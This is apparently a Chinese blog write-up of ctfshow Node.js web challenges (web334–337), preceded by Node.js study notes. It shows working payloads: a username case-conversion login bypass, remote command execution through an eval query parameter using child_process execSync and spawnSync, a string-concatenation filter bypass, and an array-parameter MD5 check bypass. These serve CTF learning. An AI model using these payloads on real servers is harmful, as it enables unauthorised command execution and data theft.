ctfshow - web - nodejs

nodejs基础知识

起源与发展:了解Node.js的历史背景、由Ryan Dahl创造、基于V8 JavaScript引擎、由Node.js基金会(现OpenJS Foundation)管理。

设计哲学:理解Node.js的设计目标,如单线程、非阻塞I/O、事件驱动、轻量级、高性能。

应用场景:服务器端开发(如Web服务器、API服务)、命令行工具(如脚本、构建工具)、桌面应用(借助Electron等框架)、实时应用(如聊天室、游戏服务器)等。

单线程模型:理解Node.js的单线程执行环境与JavaScript的单线程特性。

异步I/O:理解Node.js如何通过libuv库实现异步非阻塞I/O操作,避免阻塞主线程。

事件队列与回调队列:理解事件循环如何处理不同的任务类型(宏任务、微任务),以及任务进入和退出事件循环的过程。

定时器与process.nextTick():理解定时器在事件循环中的位置,以及process.nextTick()与定时器的区别。

变量、数据类型、运算符

变量声明:var、let、const的区别,块级作用域与函数作用域。

基本数据类型:Number、String、Boolean、Null、Undefined、Symbol、BigInt,以及它们的特性和方法。

复杂数据类型:Object、Array、Function、Date、RegExp(正则表达)等,以及它们的创建、属性访问、方法调用。

运算符:算术运算符、比较运算符、逻辑运算符、位运算符、赋值运算符、条件运算符、解构赋值、扩展运算符等。

函数

定义与调用:普通函数、匿名函数、具名函数、箭头函数的定义与调用。

参数:默认参数、剩余参数、解构参数。

作用域:全局作用域、局部作用域、块级作用域、闭包。

返回值:显式返回、隐式返回、void返回。

高级特性:递归、高阶函数、柯里化、函数组合、函数记忆化。

类与实例:类的定义、构造函数、实例化过程、this关键字。

成员:属性、方法、访问修饰符(ES6)。

继承:extends关键字、super关键字、原型链、Mixin模式。

封装:私有字段(ES12)、私有方法(ES12)、getter/setter。

多态:接口、抽象类(TypeScript)、鸭子类型。

web334

一个登录框。

下载压缩包进行代码审计

{username: 'CTFSHOW', password: '123456'}

var express = require('express');

var router = express.Router();

var users = require('../modules/user').items;

var findUser = function(name, password){

return users.find(function(item){

return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;

});

};

/* GET home page. */

router.post('/', function(req, res, next) {

res.type('html');

var flag='flag_here';

var sess = req.session;

var user = findUser(req.body.username, req.body.password);

if(user){

req.session.regenerate(function(err) {

if(err){

return res.json({ret_code: 2, ret_msg: '登录失败'});

}

req.session.loginUser = user.username;

res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});

});

}else{

res.json({ret_code: 1, ret_msg: '账号或密码错误'});

}

});

知道了用户名和密码不能成功登录,审计login.js代码发现直接传入CTFSHOW不可以,会返回为假,应该传入小写的ctfshow,才能转化为大写,成功登录。

return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;

注意return函数中的执行结果

web335

Node.JS的RCE

了解基本的nodejs的语法。

require(%27child_process%27).execSync('ls')

查看当前目录下的文件

require(%27child_process%27).execSync('tac fl00g.txt')

查看flag文件。

学会nodejs中RCE相关基本函数的利用。

web336

spawn、exec、execFile、fork

这四个函数均是异步函数,对应的同步函数为:spawnSync、execSync、execFileSync,其中 fork 没有对应的 forkSync

spawn是其他函数的基础,其他三个函数是在spawn上不同程度的封装,exec调用execFile,而execFile调用spawn,fork调用spawn。

对于nodejs的函数知道同步函数和对应的异步函数,从而实现题目系统命令的执行。

检测该题目发现过滤与exec()函数相关的函数都被过滤,包括execSync、execFileSyn、exec、execFile等函数。

因此使用spawn或者spawnSync函数。

?eval=require('child_process').spawnSync('ls').stdout.toString();

?eval=require('child_process').spawnSync('cat',['fl001g.txt']).stdout.toString();

字符拼接

?eval=require('child_process').['exe'%2B'cSync']('ls

web337

var express = require('express');

var router = express.Router();

var crypto = require('crypto');

function md5(s) {

return crypto.createHash('md5')

.update(s)

.digest('hex');

}

/* GET home page. */

router.get('/', function(req, res, next) {

res.type('html');

var flag='xxxxxxx';

var a = req.query.a;

var b = req.query.b;

if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){

res.end(flag);

}else{

res.render('index',{ msg: 'tql'});

}

});

module.exports = router;

通过对js的代码审计,发现传入的参数要满足if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag))语句,从而可以输出flag。

router.get('/', function(req, res, next) 路由形式的输入,直接在/后面以get形式输入参数a,b,参数的内容传入内容要绕过if语句的检测。

要绕过MD5语句的比较,可以利用一些MD5加密结果相同的特殊字符串,但是由于要比较md5(a+flag)===md5(b+flag)的值,因此这种方法不可行。

另一种方法是:利用数组绕过MD5的检测

?a[a]=1&&b[b]=0

?a[b]=1&&b[b]=1

相关推荐
梦6507 分钟前
VUE树形菜单组件如何实现展开/收起、全选/取消功能
前端·javascript·vue.js
我命由我1234513 分钟前
微信小程序 - 避免在 data 初始化中引用全局变量
开发语言·前端·javascript·微信小程序·小程序·前端框架·js
可爱又迷人的反派角色“yang”22 分钟前
Mysql数据库(二)
运维·服务器·前端·数据库·mysql·nginx·云计算
低保和光头哪个先来28 分钟前
基于 Vue3 + Electron 的离线图片缓存方案
前端·javascript·electron
天天向上102431 分钟前
Vue 配置一次打包执行多个命令,并将分别输出到不同的文件夹
前端·javascript·vue.js
BD_Marathon37 分钟前
【JavaWeb】HTML——超链接标签
前端·html
彭于晏爱编程41 分钟前
🐻 Zustand 使用指南:从 0 到精通的最快路线
前端
장숙혜42 分钟前
Vue DevTools 速通-掌握开发调试器
前端·javascript·vue.js
谢尔登1 小时前
为什么React 17开始无需在组件中引入React了?
前端·react.js·前端框架
ohyeah1 小时前
JavaScript 面向对象的本质:从对象模板到组合继承的完整演进
前端·javascript